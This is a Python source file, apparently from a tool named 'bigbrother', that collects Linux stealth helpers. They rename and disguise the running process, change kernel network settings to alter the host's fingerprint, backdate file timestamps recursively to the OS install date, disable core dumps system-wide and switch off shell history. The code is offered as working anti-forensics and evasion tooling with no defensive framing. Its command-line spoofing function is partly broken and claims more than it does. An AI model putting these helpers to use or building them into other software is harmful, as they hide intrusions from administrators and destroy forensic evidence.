bigbrother/utils/stealth.py

#!/usr/bin/env python3
"""Shared stealth helpers: process rename, cmdline spoof, sysctl, timestomp, core dump disable."""

import ctypes
import ctypes.util
import os
import struct
import time
from pathlib import Path
from typing import Optional

PR_SET_NAME = 15
RLIMIT_CORE = 4

_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)


def rename_process(name: str) -> bool:
    name_bytes = name.encode("utf-8")[:15]
    ret = _libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
    return ret == 0


def spoof_cmdline(fake_cmdline: str) -> bool:
    try:
        cmdline_path = f"/proc/{os.getpid()}/cmdline"
        # Read current cmdline to get its length for overwrite
        with open(cmdline_path, "rb") as f:
            original = f.read()

        # On Linux, argv[0] is writable via /proc/self/comm and prctl,
        # but /proc/self/cmdline maps to the actual process memory.
        # We overwrite via ctypes access to argv.
        libc = _libc

        # Get argc/argv from /proc/self/cmdline
        argc = ctypes.c_int()
        argv_ptr = ctypes.POINTER(ctypes.c_char_p)()

        # Alternative: write to /proc/self/comm (max 15 chars)
        comm_path = f"/proc/{os.getpid()}/comm"
        try:
            with open(comm_path, "w") as f:
                f.write(fake_cmdline[:15])
        except PermissionError:
            pass

        # For full cmdline spoofing, overwrite argv[0] in memory
        import sys
        if hasattr(sys, "argv") and sys.argv:
            # Replace argv contents via ctypes
            fake_bytes = fake_cmdline.encode("utf-8")
            argv0_addr = id(sys.argv[0])
            # Python string internals - this is fragile but works for ps display
            sys.argv[0] = fake_cmdline

        return True
    except Exception:
        return False


def set_sysctl(key: str, value: str) -> bool:
    sysctl_path = Path("/proc/sys") / key.replace(".", "/")
    try:
        with open(sysctl_path, "w") as f:
            f.write(value)
        return True
    except (IOError, PermissionError):
        return False


def set_ttl(ttl: int) -> bool:
    return set_sysctl("net.ipv4.ip_default_ttl", str(ttl))


def set_tcp_window(size: int) -> bool:
    # Set TCP initial window via rmem/wmem defaults
    success = set_sysctl("net.ipv4.tcp_rmem", f"4096 {size} {size * 4}")
    success &= set_sysctl("net.ipv4.tcp_wmem", f"4096 {size} {size * 4}")
    return success


def set_tcp_timestamps(enabled: bool) -> bool:
    return set_sysctl("net.ipv4.tcp_timestamps", "1" if enabled else "0")


def timestomp(path: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> bool:
    try:
        if reference:
            ref_stat = os.stat(reference)
            target_time = ref_stat.st_mtime
        elif epoch:
            target_time = epoch
        else:
            # Default: OS install date from /var/log/installer or filesystem birth
            target_time = _get_os_install_time()

        os.utime(path, (target_time, target_time))
        return True
    except (OSError, IOError):
        return False


def timestomp_recursive(directory: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> int:
    count = 0
    for root, dirs, files in os.walk(directory):
        for name in files + dirs:
            full_path = os.path.join(root, name)
            if timestomp(full_path, reference=reference, epoch=epoch):
                count += 1
    if timestomp(directory, reference=reference, epoch=epoch):
        count += 1
    return count


def _get_os_install_time() -> float:
    candidates = [
        "/var/log/installer/syslog",
        "/var/log/installer/status",
        "/etc/hostname",
        "/etc/machine-id",
    ]
    for path in candidates:
        try:
            return os.stat(path).st_mtime
        except OSError:
            continue
    # Fallback: 90 days ago
    return time.time() - (90 * 86400)


def disable_core_dumps() -> bool:
    try:
        # RLIMIT_CORE = 4 on Linux
        class rlimit(ctypes.Structure):
            _fields_ = [
                ("rlim_cur", ctypes.c_ulong),
                ("rlim_max", ctypes.c_ulong),
            ]

        limit = rlimit(0, 0)
        ret = _libc.setrlimit(RLIMIT_CORE, ctypes.byref(limit))
        if ret != 0:
            return False

        # Also set via sysctl and /proc
        set_sysctl("kernel.core_pattern", "|/bin/false")
        set_sysctl("fs.suid_dumpable", "0")

        # prctl to prevent core for this process and children
        PR_SET_DUMPABLE = 4
        _libc.prctl(PR_SET_DUMPABLE, 0, 0, 0, 0)

        return True
    except Exception:
        return False


def hide_from_history() -> bool:
    try:
        os.environ["HISTFILE"] = "/dev/null"
        os.environ["HISTSIZE"] = "0"
        os.environ["HISTFILESIZE"] = "0"
        return True
    except Exception:
        return False